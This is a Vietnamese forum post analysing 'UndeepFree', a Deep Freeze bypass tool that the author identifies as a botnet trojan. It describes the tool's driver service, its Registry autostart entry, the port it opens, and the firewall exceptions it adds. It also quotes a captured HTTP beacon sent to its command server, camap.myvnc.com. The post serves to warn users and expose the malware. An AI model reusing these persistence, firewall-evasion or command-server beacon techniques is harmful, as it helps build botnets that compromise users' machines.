Theo như bác Tam QUốc thì con này chính là 1 con botnet anh em tẩy chay nó đi.
Chú ý : sau khi khởi động lại máy bắt buộc bạn phảichạy lại phần mêm UndeepFree để cho windows có thể hoạt động trở lạibình thường
]Lý do là sau khi phá được Deep Freeze thì bắt ta phải chạy lại là để cho máy dính lại con trojan
- Con này cũng có tiềm năng rootkit
- File driver của nó tên ntndis.sys trong thư mục %Windir%\system32\drivers
- Nó làm ra (tạo) ra 1 service tên là ntndis, chế độ run: Auto, đường dẫn chính là file ntndis.sys (%Windir%\system32\drivers
tndis.sys)
- Cũng trong thư mục %Windir%\system32\drivers có file ntndis.exe được thêm vào key khởi động trong Registry. Nó chạy file ntndis.exe (để open port 22580) thông qua file explorer.exe nên sẽ rất khó nhận ra
- Thêm chương trình của nó (ở đây là file vp.exe) vào Exceptions của Windows Firewall như vậy là nó có thể tự do hoạt động . Cũng thêm Explorer.exe vào Exceptions luôn lý do vì sao phải thêm Explorer.exe vào thì xem ở trên vừa rõ
- Còn nhiều thứ từa lưa nữa, nhưng thôi bây giờ là đến phần nó connect ra bên ngoài đây mới là phần quan trọng nà
- Connect đến camap.myvnc.com (có ip là 74.53.86.114)
- Đây là 1 đoạn nhỏ được Capture lại
Quote:
POST /camap/?act=online&s4=0&s5=25580&nickname=eHBfc3AyTkVUWzM 3NTIwOV0= HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1 Host: camap.myvnc.com Content-Length: 10 Connection: Keep-Alive Cache-Control: no-cache
msg_out=
HTTP/1.1 200 OK Date: Sun, 19 Jul 2009 03:15:09 GMT Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html |